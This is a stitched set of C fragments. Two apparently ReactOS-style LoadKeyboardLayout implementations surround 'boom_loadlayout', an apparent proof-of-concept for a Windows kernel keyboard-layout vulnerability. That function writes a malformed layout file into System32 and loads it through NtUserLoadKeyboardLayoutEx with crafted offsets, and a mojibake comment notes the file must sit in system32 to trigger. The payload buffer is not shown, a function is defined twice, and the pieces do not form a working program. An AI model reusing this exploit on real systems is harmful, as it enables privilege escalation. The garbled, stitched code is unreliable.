/* * @implemented */ HKL WINAPI LoadKeyboardLayoutA(LPCSTR pwszKLID, UINT Flags) { return NtUserLoadKeyboardLayoutEx( NULL, 0, NULL, NULL, NULL, strtoul(pwszKLID, NULL, 16), Flags); }
/* * @implemented */ HKL WINAPI LoadKeyboardLayoutW(LPCWSTR pwszKLID, UINT Flags) { // Look at revision 25596 to see how it's done in windows. // We will do things our own way. Also be compatible too! return NtUserLoadKeyboardLayoutEx( NULL, 0, NULL, NULL, NULL, wcstoul(pwszKLID, NULL, 16), Flags); }
VOID boom_loadlayout() { KEYBDINPUT kb={0}; INPUT vInput={0}; HANDLE hFile; DWORD dwFuckS0ny; HKL hKbd; WCHAR lpPath[MAX_PATH]={0}; WCHAR lpLayoutFile[MAX_PATH]={L"C:\\Windows\\System32\\lSp0wns.boom111"}; LPVOID lpShellPtr; //strcpy( lpLayoutFile, L"%lSp0wns.boom111", lpPath); hFile = CreateFileW(lpLayoutFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0,0); if( hFile == INVALID_HANDLE_VALUE ) { printf(" \n[!!] Error:errorcode:%x\n",GetLastError()); exit(0); } WriteFile( hFile, fakeDll2, sizeof(fakeDll2)-1, &dwFuckS0ny, NULL); //printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny); CloseHandle(hFile); hFile = CreateFileW (lpLayoutFile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0,0); if( hFile == INVALID_HANDLE_VALUE ) { printf(" \n[!!] Error\n"); exit(0); } hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) ); printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101 /*HKL NTAPI NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle, IN DWORD offTable, IN PUNICODE_STRING puszKeyboardName, IN HKL hKL, IN PUNICODE_STRING puszKLID, IN DWORD dwKLID, IN UINT Flags ) */ //win7ÏÂÃæÕâ¸öº¯ÊýÊǸö²ÎÊýÀ´ÆäÖÐoffTable²ð·Ö³É¸ö //ÎļþÒ»¶¨Òª·ÅÔÚsystem32Ŀ¼ÏÂÃ治Ȼ´¥·¢²»ÁË CloseHandle(hFile); //printf("\n[+] Done\n"); }
/* * @implemented */ HKL WINAPI LoadKeyboardLayoutW(LPCWSTR pwszKLID, UINT Flags) { DWORD dwhkl, dwType, dwSize; UNICODE_STRING ustrKbdName; UNICODE_STRING ustrKLID; WCHAR wszRegKey[256] = L"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\"; WCHAR wszLayoutId[10], wszNewKLID[10]; HKEY hKey; /* LOWORD of dwhkl is Locale Identifier */ dwhkl = wcstol(pwszKLID, NULL, 16); if (Flags & KLF_SUBSTITUTE_OK) { /* Check substitutes key */ if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Keyboard Layout\\Substitutes", 0, KEY_READ, &hKey) == ERROR_SUCCESS) { dwSize = sizeof(wszNewKLID); if (RegQueryValueExW(hKey, pwszKLID, NULL, &dwType, (LPBYTE)wszNewKLID, &dwSize) == ERROR_SUCCESS) { /* Use new KLID value */ pwszKLID = wszNewKLID; } /* Close the key now */ RegCloseKey(hKey); } } /* Append KLID at the end of registry key */ StringCbCatW(wszRegKey, sizeof(wszRegKey), pwszKLID); /* Open layout registry key for read */ if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, wszRegKey, 0, KEY_READ, &hKey) == ERROR_SUCCESS) { dwSize = sizeof(wszLayoutId); if (RegQueryValueExW(hKey, L"Layout Id", NULL, &dwType, (LPBYTE)wszLayoutId, &dwSize) == ERROR_SUCCESS) { /* If Layout Id is specified, use this value | f000 as HIWORD */ /* FIXME: Microsoft Office expects this value to be something specific * for Japanese and Korean Windows with an IME the value is 0xe001 * We should probably check to see if an IME exists and if so then * set this word properly. */ dwhkl |= (0xf000 | wcstol(wszLayoutId, NULL, 16)) << 16; } /* Close the key now */ RegCloseKey(hKey); } else ERR("RegOpenKeyExW failed!\n"); /* If Layout Id is not given HIWORD == LOWORD (for dwhkl) */ if (!HIWORD(dwhkl)) dwhkl |= dwhkl << 16; ZeroMemory(&ustrKbdName, sizeof(ustrKbdName)); RtlInitUnicodeString(&ustrKLID, pwszKLID); return NtUserLoadKeyboardLayoutEx(NULL, 0, &ustrKbdName, NULL, &ustrKLID, dwhkl, Flags); }